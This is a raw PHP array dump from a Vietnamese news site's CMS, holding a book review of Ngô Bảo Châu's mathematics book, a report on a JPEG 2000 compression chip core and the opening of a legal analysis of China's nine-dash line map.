hiện đó của chàng Elaci, và Elaci đã phải quyết đấu với con rồng. Nhưng trong câu chuyện cổ này, Elaci không chết ở tuổi 21 như Evariste Galois (1811-1832) trong buổi sáng định mệnh sau trò đấu súng, mà chỉ bị đày đến “xứ p-adic”, xứ sở mới của những con số khác với số thực và phức nhưng cũng không kém phần hấp dẫn.</div> <div> </div> <div> Ai và Ky ở xứ sở của những con số tàng hình còn là cuốn sách vỡ lòng về triết học của toán học. Với cặp mắt ngây thơ của Ai, ta nhìn ra mâu thuẫn ẩn chứa trong các chứng minh phản chứng, mâu thuẫn giữa cái hữu hạn và vô hạn, của sự chứng minh được hay không một chân lý toán học. Bởi thế nên ông già Cartesius (René Descartes, 1596-1650) mới nhận ra rằng, để “tồn tại” thì chỉ “suy nghĩ” thôi là chưa đủ: “Ta đang nghi ngờ, việc của ta là nghi ngờ. Ta sợ một lúc nào đó ta không còn nghi ngờ được nữa, thì bản thân ta cũng sẽ trở nên tàng hình”. Cũng bởi vì thế mà Diogenes xứ Sinop (412 hoặc 404 – 323 TCN) mới cầm đèn đi giữa ban ngày để tìm cho ra người lương thiện.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge.jpg" style="width: 250px; height: 166px;" /></div> <div> </div> <div> “Giải quyết một bài toán cũng như ăn từng miếng nhỏ của trái táo. Làm như thế một là để thưởng thức, hai là để tránh nghẹn”, ông già Cartesius đã khuyên Ai như thế. Cuốn sách trên tay các bạn cũng cần được thưởng thức chậm rãi như thế, để có thể cảm nhận được hương vị đậm đà của nó. Và trên hết, phải có cặp mắt ngây thơ như cậu thiếu niên Ai, để nhìn ra chân lý. Bởi vì chân lý chỉ dành cho những người không bị che mắt bởi cái vụn vặt thường nhật.</div> <div> </div> <div> Lời nhắn nhủ của Elaci từ xứ sở p-adic cũng là lời nhắn cho tất cả chúng ta: “Hãy lắng nghe những người khác nói nhưng luôn suy nghĩ bằng cái đầu của mình. Cuối cùng và quan trọng nhất là đừng bao giờ để rơi mất tiếng cười hồn nhiên của Alice”.</div> <div> </div> <div> Cuốn sách giản dị, thông thái, sâu sắc, vừa dễ gần, vừa không dễ hiểu - như chính tác giả của nó vậy."</div> <div> </div> <div> Gấp sách lại, cái “cảm giác tiếc nuối trở nên mơ hồ như làn khói lam chiều. Có một tiểu hành tinh vừa băng qua mùa thu của Trái đất”. </div> <div> </div> <div> ---</div> <div> </div> <div> * Tác giả: Ngô Bảo Châu và Nguyễn Phương Văn; NXB Thế Giới và Nhã Nam ấn hành tháng 3/2012</div> ', 'images' => '20160615091008fbff3e430b33ac364ed26e294730583f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '52316', 'slug' => 'ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '705', 'rght' => '706', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '407', 'name' => 'TPHCM thiết kế thành công lõi IP nén ảnh JPEG 2000 ', 'code' => null, 'alias' => 'tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Lõi IP nén ảnh JPEG 2000 do Trung tâm Nghiên cứu và Đào tạo Thiết kế Vi mạch (ICDREC), ĐH Quốc gia TPHCM, chế tạo là nền tảng để thiết kế các chip xử lý hình ảnh, ứng dụng trên các sản phẩm thuộc lĩnh vực y học, trắc địa học, truyền thông, viễn thám, sinh trắc học, giải trí...</div> <div> Sản phẩm lõi IP nén ảnh JPEG 2000 thuộc đề tài "Nghiên cứu thiết kế và chế tạo thử nghiệm chip nén ảnh theo tiêu chuẩn JPEG2000 và chip ADC đa năng ứng dụng trong y tế" của chương trình KH&CN trọng điểm cấp nhà nước KC.01/11-15 do ThS. Nguyễn Minh Khánh Ngọc (ICDREC) là chủ đề tài. Ngoài ra, ICDREC còn phối hợp với Vụ Trang thiết bị và Công trình y tế (Bộ Y tế) cùng thực hiện đề tài.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/MakeThumbnail.jpg" style="width: 150px; height: 130px;" /></div> <div> <br /> Tại buổi họp báo ngày 9/7, giám đốc ICDREC, ông Ngô Đức Hoàng, cho biết, JPEG 2000 là chuẩn nén ảnh của thế giới do Joint Photographic Experts Group công bố vào năm 2000, được ứng dụng trong nhiều lĩnh vực đời sống xã hội như các thiết bị đa phương tiện (điện thoại di động, máy quay camera, máy ảnh kỹ thuật số, máy in), y tế (nén ảnh cho các thiết bị X-quang, siêu âm...), khảo sát trắc địa (ảnh chụp từ vệ tinh cần nén trước khi truyền về trái đất...), quân sự/giám sát (cung cấp hình ảnh vệ tinh HD, phát hiện chuyển động, thiết lập mạng lưới phân phối và lưu trữ hình ảnh, camera giám sát chất lượng cao…</div> <div> </div> <div> Bắt tay thực hiện đề tài từ năm 2012, ThS. Nguyễn Minh Khánh Ngọc và các cộng sự đã nghiên cứu và nắm vững kỹ thuật thiết kế hệ thống nén ảnh JPEG 2000, kỹ thuật thiết kế bộ chuyển đổi tín hiệu tương tự sang số ADC độ chính xác cao và kỹ thuật thiết kế vi mạch ở công nghệ 130 nano mét. Đây là cơ sở để các nhà nghiên cứu thiết kế và chế tạo lõi IP mềm thực hiện nén ảnh theo tiêu chuẩn JPEG 2000.</div> <div> </div> <div> Sản phẩm lõi IP nén ảnh JPEG 2000 của ICDREC cho phép nén các ảnh tĩnh có độ phân giải cao lên đến 16 triệu điểm ảnh và 16 bit độ xám với các chế độ nén tổn hao và không tổn hao trên cùng một hệ thống, đồng thời cho phép người dùng nén các loại ảnh có tối đa bốn thành phần màu cùng với các định dạng ngõ vào khác nhau như 444, 422, 420 và mức xám. Lõi IP nén ảnh JPEG 2000 còn có thể nén ảnh động với độ phân giải HD đạt tốc độ 24 fps (frame/giây).</div> <div> </div> <div> Từ sản phẩm này, đội ngũ thiết kế vi mạch của ICDREC sẽ thiết kế các chip xử lý hình ảnh, ứng dụng trong các sản phẩm đòi hỏi hình ảnh có độ phân giải ảnh lớn và độ phân giải mức xám cao thuộc lĩnh vực y học, trắc địa học, truyền thông, viễn thám, sinh trắc học, giải trí…</div> <div> </div> <div> Trong quá trình nghiên cứu và thiết kế sản phẩm lõi IP, ICDREC còn đào tạo được đội ngũ nhân lực thiết kế vi mạch trong lĩnh vực tín hiệu số và xử lý ảnh, thiết kế vi mạch analog cho các ứng dụng chuyển đổi tín hiệu tương tựm đồng thời góp phần hỗ trợ cho một số nghiên cứu, dự án khác về các thiết bị xử lý ảnh y sinh và các thiết bị đo trong y tế.</div> <div> </div> <div> Về ý nghĩa lâu dài của đề tài, các nhà chuyên môn cho biết, khi ứng dụng thiết bị trên các hệ thống thiết bị y tế sẽ góp phần giảm giá thành thiết bị, giải tỏa áp lực và gánh nặng cho ngành y tế; cải thiện chất lượng phúc lợi xã hội, góp phần tạo thế cân bằng trong việc cung cấp linh kiện điện tử trong nước; hạn chế sự phụ thuộc vào linh kiện nước ngoài; góp phần làm giảm giá thành sản phẩm điện tử làm ra để có thể cạnh tranh mạnh mẽ với các sản phẩm cùng loại trong và ngoài nước.</div> <div> </div> <div> Tại lễ công bố, ICDREC và công ty cổ phần Điện tử Biên Hòa (Belco) đã ký kết hợp tác cùng phát triển lõi IP nén ảnh JPEG 2000 của ICDREC thành chip xử lí để ứng dụng cho các sản phẩm mà Belco đang sản xuất.</div> ', 'images' => '201606150908575e1f128ae6bd71960aa75fdd584b9db5.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '59449', 'slug' => 'tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '703', 'rght' => '704', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $detailNews = array( 'Post' => array( 'id' => '418', 'name' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'code' => null, 'alias' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<br /> <img alt="" src="/admin/webroot/upload/image/images/Chấm và vạch trong Biển Đông.jpg" style="width: 250px; height: 182px;" /><br /> <br /> <div> Ngày 07 tháng 5 năm 2009, Cộng hòa Nhân dân Trung Hoa (CHNDTH) phản đối đệ trình của Việt Nam và đệ trình chung của Malaysia-Việt Nam gửi Ủy ban Ranh giới thềm lục địa (CLCS). Để hậu thuẫn cho các yêu sách của mình, Trung Quốc (TQ) đã kèm một bản đồ có vẽ một đường hình chữ U nhiều chấm bao trùm phần lớn Biển Đông vào công hàm phản đối.</div> <div> Bài nghiên cứu này là đưa ra một phân tích về mặt pháp lý quốc tế bản đồ nói trên. </div> <div> </div> <div> </div> <div> I. BẢN ĐỒ TRUNG QUỐC</div> <div> </div> <div> A. Nền tảng</div> <div> </div> <div> Nguồn gốc của đường chữ U bắt đầu từ các hoạt động của Uỷ ban thẩm tra Bản đồ Đất và Nước của Trung Hoa Dân Quốc (THDQ), thành lập vào năm 1933. Trách nhiệm của Uỷ ban này bao gồm việc khảo sát và đặt tên các đảo ở Biển Đông và in ra các bản đồ cho thấy các đảo này thuộc chủ quyền của TQ. [1]</div> <div> </div> <div> Đường nhiều chấm được chuẩn nhận chính thức đầu tiên phát xuất từ sau cuộc chiến tranh thế giới thứ hai. Tờ bản đồ đang bàn do Sở lãnh thổ và Ranh giới Bộ Nội vụ THDQ in ra vào tháng 12 năm 1946. [2] Trên bản đồ này, đường chữ U gồm 11 vạch liên tục bao kín phần lớn Biển Đông và các thể địa lý giữa đại dương. [3] Bắt đầu từ ranh giới Trung-Việt, hai vạch đầu tiên đi qua Vịnh Bắc Bộ. Vạch thứ ba và thứ tư của đường này phân cách bờ biển Việt Nam với các quần đảo Hoàng Sa và Trường Sa, tương ứng. Vạch thứ năm và thứ sáu trên đường đứt đoạn đi qua Bãi cạn James (4° N), thể địa lý biển cực nam mà TQ và THDQ tuyên bố chủ quyền. Di chuyển theo hướng đông bắc, hai vạch tiếp theo nằm giữa quần đảo Trường Sa phía này, và Borneo (Indonesia, Malaysia, và Brunei) và Philippines (tỉnh Palawan), phía kia. Vạch thứ chín, thứ mười, và thứ mười một phân cách Philippines với THDQ. [4] Sau khi loại Quốc dân Đảng khỏi Trung Hoa đại lục, CHNDTH cũng phát hành bản đồ vẽ với cùng các vạch trên. [5] Như vậy, từ đó trở đi, ở hai phía của eo biển Đài Loan đều thấy có bản đồ đường chữ U xuất hiện. Một trong thay đổi đặc biệt cần lưu ý: từ năm 1953, bản đồ Biển Đông TQ chỉ vẽ 9 thay vì 11 vạch (2 vạch ở Vịnh Bắc Bộ đã bị xoá). [6]</div> <div> </div> <div> B. Công hàm TQ gửi Tổng thư ký LHQ (ngày 07 tháng 5 năm 2009)</div> <div> </div> <div> Ở cấp độ quốc tế, tranh cãi xung quanh đường 9 chấm đã rộ lên trước Liên Hợp Quốc (LHQ) vào năm 2009 liên quan tới đệ trình chung của Malaysia-Việt nam[7] và đệ trình riêng của Việt Nam[8] cho CLCS. CLCS đưa ra khuyến nghị cho các nước ven biển có nhu cầu xác lập ranh giới bên ngoài thềm lục địa vượt quá 200 hải lý (nm). [9] Thời gian đệ trình của các chính phủ Việt Nam và Malaysia có thể được giải thích bởi thời hạn chót của họ là vào tháng 5 năm 2009. [10] Để đáp trả các đệ trình này, trong cùng ngày TQ đã chính thức gửi Tổng thư ký LHQ hai công hàm riêng biệt có kèm bản đồ đó [11], bằng cách này lần đầu tiên xác nhận đường chữ U, ở cấp quốc tế trong một tranh chấp cấp nhà nước, [12] với phản ứng giống hệt nhau sau đây:</div> <div> </div> <div> TQ có chủ quyền không thể tranh cãi đối với các đảo ở Biển Đông và các vùng biển lân cận, và được hưởng quyền chủ quyền và quyền tài phán trên các vùng biển liên quan cũng như biết đáy biển và lòng đất dưới biển (xem bản đồ kèm theo). Lập trường nêu trên đượcChính phủ TQ nhất quán thể hiện, và được cộng đồng quốc tế biết đến rộng rãi. [13]</div> <div> </div> <div> Đọc Công hàm này, một học giả Đài Bắc suy ra một số khẳng định của TQ:</div> <div> </div> <div> 1. Chủ quyền đối với các đảo ở Biển Đông và vùng biển tiếp giáp chúng (bản đồ kèm theo cho thấy các thể địa lý biển sau đây trong đường đứt khúc theo tên: quần đảo Tây Sa, [14] quẩn đảo Nam Sa, [15] quần đảo Trung Sa, [16] và quẩn đảo Đông Sa[17]).</div> <div> </div> <div> 2. Quyền chủ quyền và quyền tài phán đối với vùng biển liên quan bao gồm đáy biển và tầng đất dưới đáy biển của chúng.</div> <div> </div> <div> 3. Tính nhất quán của vị thế chính thức của TQ về các yêu sách biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 4. Sự nhận biết của các nước bên thứ ba liên quan đến yêu sách của TQ về biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 5. Đường chữ U mô tả những yêu sách của TQ về chủ quyền, quyền chủ quyền và quyền tài phán. [18]</div> <div> </div> <div> Tuy nhiên, dường như công bằng để nói rằng giải thích chính thức của TQ trích dẫn trên, theo như ý nghĩa chính xác của bản đồ đính kèm, vẫn còn là mơ hồ. Cụ thể, bản chất pháp lý chính xác của các khu vực biển bao bọc bởi đường 9-chấm-vẫn còn mờ mịt, mặc dù có việc "làm rõ" của TQ. Điểu này được thể hiện rõ ràng bởi các phản ứng đang dạng mà họ gây ra tại các hội nghị chuyên ngành được tổ chức kể từ đó. [19]</div> <div> </div> <div> Theo hiểu biết của chúng tôi, cho đến nay chỉ có một nước là Philippines thực hiện nỗ lực giải thích.[20] TQ nhanh chóng trả lời với một công hàm mới, một lần nữa công hàm này chẳng làm cho rõ ràng hơn bao nhiêu. Trong công hàm mới này, đề ngày 14 tháng 4 năm 2011, TQ nêu rằng “chủ quyền và các quyền và quyền tài phán liên quan của TQ trong Biển Đông” được hỗ trợ bằng “chứng cứ lịch sử và pháp lý phong phú”'.[21] Điều rõ ràng trong tài liệu ngoại giao mới này là sự thiếu vắng của bất kỳ đề cập nào tới bản đồ trên. Từ sự thiếu vắng này, chúng ta có thể suy ra sự từ bỏ đường 9 chấm hay không? Chắc chắn, không thể giả định có một sự quay ngoắt (volte-face) một cách hời hợt. Hơn nữa, dù họ đang chủ trương làm dịu đi các quan ngại về tự do hàng hải ở Biển Đông, [22] ví như can thiệp gần đây của TQ đối với tàu thuyền Việt Nam và Philippines mà thôi cho thấy các yêu sách quá đáng của họ như trên bản đồ vẫn còn nguyên vẹn.</div> <div> </div> <div> II. CÁC YÊU SÁCH</div> <div> </div> <div> Công hàm ngày 07 tháng 5 năm 2009 của TQ, dù là có thể mới trong các khía cạnh vể biển của nó nhưng chỉ lặp lại những khẳng định tương tự như đã đưa ra trong quá khứ liên quan đến các thể địa lý. [23] Hơn nữa, nhiều học giả chủ yếu của TQ và Đài Loan đã đề ra các cách giải thích riêng của họ về đường 9 chấm. Giữa sự rối rắm này, người ta chỉ có thể chắc chắn một điều là các khẳng định TQ về Biển Đông không vượt quá ranh giới này. [24] Những quan điểm và giá trị pháp lý của các khẳng định này sẽ được thảo luận sau đây.</div> <div> </div> <div> A. Yêu sách lịch sử</div> <div> </div> <div> 1. Thực hành Nhà nước (State practice)</div> <div> </div> <div> Mặc dù các khẳng định kiểu này dường như không là nét đặc biệt trong chính sách chính thức của TQ, Đài Bắc có truyền thống ủng hộ lập trường này đối với đường chữ U khá mạnh, như có thể thấy trong một loạt các tuyên bố. Ví dụ, trong năm 1991 tại một trong những Hội thảo về Biển Đông, một đại diện Văn phòng Kinh tế và Thương mại Đài Bắc ở Jakarta (Indonesia) tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước thuộc thẩm quyền của THDQ. THDQ có quyền và đặc quyền trong Biển Đông. Bất kỳ hoạt động nào trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. [25]</div> <div> </div> <div> Hướng dẫn Chính sách cho Biển Đông năm 1993 (chuẩn nhận bởi Bộ trưởng Hành Chánh) lưu ý rằng:</div> <div> </div> <div> Trên cơ sở lịch sử, địa lý, luật pháp quốc tế, và nhiều sự kiện, quần đảo Trường Sa, quần đảo Hoàng Sa, bãi cạn Macclesfield, và quần đảo Pratas luôn là phần lãnh thổ cố hữu của THDQ. Chủ quyền của nước THDQ đối với chúng không còn chút nghi ngờ nào. Khu vực Biển Đông trong ranh giới vùng nước lịch sử là khu vực biển thuộc thẩm quyền của nước THDQ, THDQ sở hữu tất cả các quyền và lợi ích trong đó. [26]</div> <div> </div> <div> Trong năm 1994, Bộ trưởng Bộ Hành Chánh, Trương Kim Ngọc (Chang King-yu), nói rằng “các vùng biển được bao bọc bởi đường chữ U ở Biển Đông là vùng nước lịch sử của chúng ta và THDQ được hưởng tất cả các quyền trong đó” (nhấn mạnh thêm). [27]</div> <div> </div> <div> Chính sách của Đài Bắc được suy luận xa hơn từ các phản đối đã thực hiện chống lại cách ứng xử của các nước ven biển trong khu vực. Đáp trả với việc Malaysia chiếm đóng hai thể địa lý tại quần đảo Trường Sa và việc Philippines quyết địnhsáp nhập bãi cát ngầm Scarborough trên bản đồ của họ, Đài Bắc tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước của THDQ. THDQ có tất cả các quyền và đặc quyền trong vùng Biển Đông. Bất kỳ hoạt động nào (kể cả việc thảo luận về hợp tác chung hoặc Quy tắc ứng xử, vv) trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. (nhấn mạnh thêm) [28]</div> <div> </div> <div> Một số chuyên gia đã cóp nhặt nhiều lập luận pháp lý cho tuyên bố mong manh này. [29] Ví dụ, Triệu Quốc Tài (Guocai Zhao) nhận xét:</div> <div> </div> <div> TQ sở hữu quyền lịch sử các hòn đảo, đá ngầm, bãi cát ngầm, các bãi cạn, và các vùng nước trong đường 9 chấm. Biển Đông được coi là vùng nước lịch sử của TQ, điều đó được thừa nhận phổ quát vào thời điểm đó. Cho đến nay điều này đã kéo dài nửa thế kỷ. [30]</div> <div> </div> <div> 2. Phân tích pháp lý</div> <div> </div> <div> Việc xem xét các bài viết học thuật về các tuyên bố lịch sử liên quan đến các khu vực biển làm phát sinh rất nhiều nhầm lẫn về thuật ngữ. Các khái niệm thích hợp như quyền lịch sử / sở hữu lịch sử, các vùng nước lịch sử, và vịnh lịch sử không dễ dàng phân biệt và làm sáng tỏ. [31] Để tránh việc tìm hiểu kéo dài không cần thiết và phần nào thừa thãi về sự khác biệt giữa các quyền lịch sử và sở hữu lịch sử, chỉ cần nói rằng “quyền lịch sử” là chủng (genus) mà theo đó người ta có thể đặt các loại (species) “vùng nước lịch sử” vào. Tương tự, “vịnh lịch sử” là một loại “vùng nước lịch sử”. [32] Trong bối cảnh của đường 9 chấm, cách ứng xử của Đài Bắc dường như bao hàm sự công nhận các vùng nước lịch sử liên quan đến một phần chủ yếu của Biển Đông.</div> <div> </div> <div> Không có định nghĩa được chấp nhận rộng rãi về các vùng nước lịch sử, nhưng theo cách hiểu rộng rãi, nó biểu thị các quyền dành cho một nước ven biển đối với một hoặc nhiều khu vực biển mà nước đó bình thường sẽ không được hưởng. Phạm vi các quyền đi cùng với vùng nước lịch sử có thể khác nhau đáng kể. Các điều kiện pháp lý cho việc thụ đắc các vùng nước lịch sử đã được xem xét trong một nghiên cứu năm 1962 do Văn phòng Ban thư ký Liên Hợp Quốc của Vụ Pháp chế (OLA) thực hiện theo yêu cầu của Uỷ ban pháp luật quốc tế. [33] Theo quan điểm của OLA:</div> <div> </div> <div> Có vẻ có một sự nhất trí chung nhất rằng khi xác định liệu một nước có quyền sở hữu lịch sử đối với một khu vực biển hay không phải xem xét tới ít nhất ba yếu tố. Những yếu tố này là: (1) việc thực thi thẩm quyền của nước yêu sách quyền lịch sử đối với khu vực đó (2) tính liên tục của việc thực thi thẩm quyền (3) thái độ của các nước khác. [34]</div> <div> </div> <div> Đài Bắc lẫn TQ đều không đáp ứng các tiêu chí này cho vấn đề đó. Điều kiện (1) và (2) đòi hỏi nước có yêu sách phải thực thi thẩm quyền thông qua các hành vi thể hiện chủ quyền ở mức đủ thường xuyên và có hiệu quả. Liên quan tới khu vực họ yêu sách, việc thể hiện thẩm quyền của họ cùng lắm chỉ có thể nói là ở mức không thường xuyên. Việc tự do đánh bắt và đi lại của các nước khác vẫn không bị cản trở. [35] Do đó, không yêu sách lịch sử nào có thể thực hiện ở đây. Các đòi hỏi lý thuyết cần để thoả mãn điều kiện (3) là không chắc chắn. Về cơ bản, việc thảo luận xoay quanh vấn đề liệu các nước khác có cần phải ngầm bằng lòng với việc thực hiện chủ quyền của TQ trên Biển Đông hay liệu việc họ không có bất kỳ phản ứng nào là đủ hay không. [36] Nhưng dù theo quan điểm nào, cả hai dường như đều đồng ý rằng sự phản đối của các nước khác có thể ngăn chặn việc thực thi chủ quyền hòa bình và liên tục, và điều này đích xác là những gì đã xảy ra đối với Biển Đông (xem phần IV-B).</div> <div> </div> <div> Một số người đã vặn lại rằng tuyên bố phải được xem xét dưới ánh sáng của các quy tắc luật quốc tế đã tồn tại khi bản đồ đường chữ U được vẽ ra, tức là năm 1946 (cái gọi là học thuyết của luật liên thời gian [intertemporal law]). [37] Điều này là khá khác thường, vì cách tiếp cận này chỉ làm yếu thêm một luận điểm vốn đã không thuyết phục. Vào thời điểm đó, bề rộng của lãnh hải hợp pháp chỉ là 3 hải lý, khiến cho các yêu sách lịch sử càng thêm quá đáng hơn. [38] Với thực tế rằng các vùng nước lịch sử thường liên quan đến vịnh hoặc một dải lãnh hải, [39] do đó không có gì ngạc nhiên khi nhận thấy một chuyên luận gần đây về vùng nước lịch sử không thấy cần thiết để đề cập tới yêu sách lịch sử của đường 9 chấm. [40] Hơn nữa, ngay cả khi vì mục đích lập luận người ta nhắm tới giả thuyết cho rằng TQ có thể thực hiện một yêu sách lịch sử lớn chưa từng có (cái không có –quod non) thì cũng nên nhớ rằng các yêu sách lịch sử không tạo ra một chế độ liên quan tới mọi nước (erga omnes), mà là phụ thuộc vào sự công nhận tường minh hay hàm ý trên tầm mức quốc gia như một tác giả mới đây đã nhấn mạnh. [41]</div> <div> </div> <div> Một lưu ý cuối cùng, việc sử dụng cách gọi “Biển Nam Trung Hoa" không có ý trao chủ quyền lịch sử cho TQ. [42] Theo luật pháp quốc tế, việc đặt tên đơn thuần một khu vực không thiết lập chủ quyền đối với khu vực đó. [43] Tên này đã bị các quốc gia có liên quan phản đối mạnh mẽ, trong đó có Việt Nam. [44] Bản đồ nước ngoài dùng tên Biển Nam Trung Hoa chỉ đơn giản là để phù hợp với cách gọi tên do Tổ chức Thủy văn Quốc tế về Ranh giới các Đại dương và biển công bố (1953), cách gọi tên đó “không có bất kỳ ý nghĩa chính trị nào”. [45] Vì thế việc lựa chọn từ ngữ này về phần các nước phương Tây không có hàm ý nhìn nhận chủ quyền của TQ. Ngoài ra, về mặt lịch sử người TQ cũng dùng nhiều tên gọi khác nhau cho vùng biển này như là “Biển Giao Chỉ” (đời Tống và Minh) và “Biển Nam” (đời Thanh (1905), THDQ (1913) và CHNDTH (1952 và 1975)). [46]</div> <div> </div> <div> 3. Những diễn biến mới</div> <div> </div> <div> Những diễn biến gần đây có thể làm cho sự thảo luận dễ dàng hơn. Thật vậy, rất có thể là Đài Bắc đang từ bỏ luận điểm lâu dài của họ. Các tuyên bố trong những năm gần đây gợi cho thấy một sự thay đổi trong quan điểm của họ, đưa chính sách của Đài Loan về vấn đề này cùng hướng với chính sách của TQ. Việc đề cập tới quyền / vùng nước lịch sử vắng đi trong khi trọng tâm dường như là chủ quyền lãnh thổ đối với các đảo và lãnh hải của chúng. [47] Ví dụ gần đây nhất là tuyên bố hồi tháng 5 năm 2009 phản đối các hồ sơ củaViệt Nam và Malaysia - Việt Nam gửi cho CLCS:</div> <div> </div> <div> Chính phủ THDQ nhắc lại rằng quần đảo Điếu Ngư Đài (Diaoyutai), quần đảo Nam Sa (Trường Sa), quần đảo Tây Sa (quần đảo Hoàng Sa), quần đảo Trung Sa (Macclesfield) và quần đảo Đông Sa (Pratas Islands) cũng như các vùng biển xung quanh là cácvùng lãnh thổ và các vùng biển cố hữu của THDQ dựa trên các quyền sở hữu chủ quyền không thể chối cãi biện minh bằng các cơ sở lịch sử, địa lý và luật quốc tế. Theo luật quốc tế, THDQ được hưởng tất cả các quyền và lợi ích đối với các quần đảo nói trên, cũng như các vùng biển xung quanh và đáy biển và lòng đất dưới đáy của chúng. [48]</div> <div> </div> <div> B. Các yêu sách đảo</div> <div> </div> <div> 1. Cách giải thích 1: Tất cả các thể địa lý trong đường chữ-U là lãnh thổ Đài Bắc/TQ</div> <div> </div> <div> Người đề xuất trước nhất cách giải thích yêu sách lãnh thổ này, nhà ngoại giao Indonesia Hasji Djalal, trong khi thừa nhận tính chất “khó hiểu" của đường chữ U, đã nêu các tìm hiểu của mình dựa trên việc phân tích cẩn thận các tuyên bố của TQ, đặc biệt là những tuyên bố hình thành trong cuộc họp của Tổ chức Hàng không dân dụng (ICAO) quốc tế năm 1979. [49]</div> <div> </div> <div> Smith ghi nhận rằng các thể địa lý giữa đại dương nằm bên trong “các vạch phân bổ này” là những thể địa lý mà TQ tuyên bố chủ quyền. Ông nhấn mạnh rằng các dấu vạch này không gợi ra bất kỳ yêu sách ranh giới biển nào và sẽ không có chút tác động nào đối với việc giải quyết tranh chấp biên giới biển. [50]</div> <div> </div> <div> Dzurek cũng tin tưởng rằng đường chữ U không phân ranh các biên giới thuộc thẩm quyền trên biển của TQ, với việc tin tưởng này dựa trên một lập luận về bản đồ học, cụ thể là, sự kiện rằng các dấu vạch chia cắt Malaysia và quần đảo Natuna đi chệch khỏi đường phân giới thềm lục địa Indonesia-Malaysia đã thoả thuận. [51]</div> <div> </div> <div> Như đã nói ở trên, việc thực hành nhà nước hiện nay của Đài Bắc dường như chứng minh một sự chuyển đổi về phía vị thế này.</div> <div> </div> <div> Câu hỏi tinh tế về các đảo trong Biển Đông thuộc nước nào, đòi hỏi phải phân tích nghiêm ngặt một ma trận sự kiện phức tạp và ứng dụng các khái niệm pháp lý đa dạng (chẳng hạn như phát hiện, ngày tới hạn [ngày mà các hành động của các bên liên quan thực hiện sau ngày đó sẽ không được toà xét đến-ND] , và tính hiệu quả), sẽ đưa chúng ta quá xa khỏi chủ đề hiện tại. [52] Với điều này trong trí, có lẽ thích hợp để nhấn mạnh ở đây rằng bản đồ TQ không thể tạo thành một quyền sở hữu lãnh thổ hợp lệ đối với các đảo cho từng bản đồ. Trong vụ Burkina Faso / Mali, Tòa Công lý Quốc tế (ICJ) đưa ra lời giải thích “dứt khoát”[53] về giá trị chứng cứ của bằng chứng bản đồ:</div> <div> </div> <div> Các bản đồ chỉ đơn thuần tạo thành thông tin, chúng thay đổi về tính chính xác theo từng trường hợp; và bằng sự tồn tại của một mình chúng, chúng không có 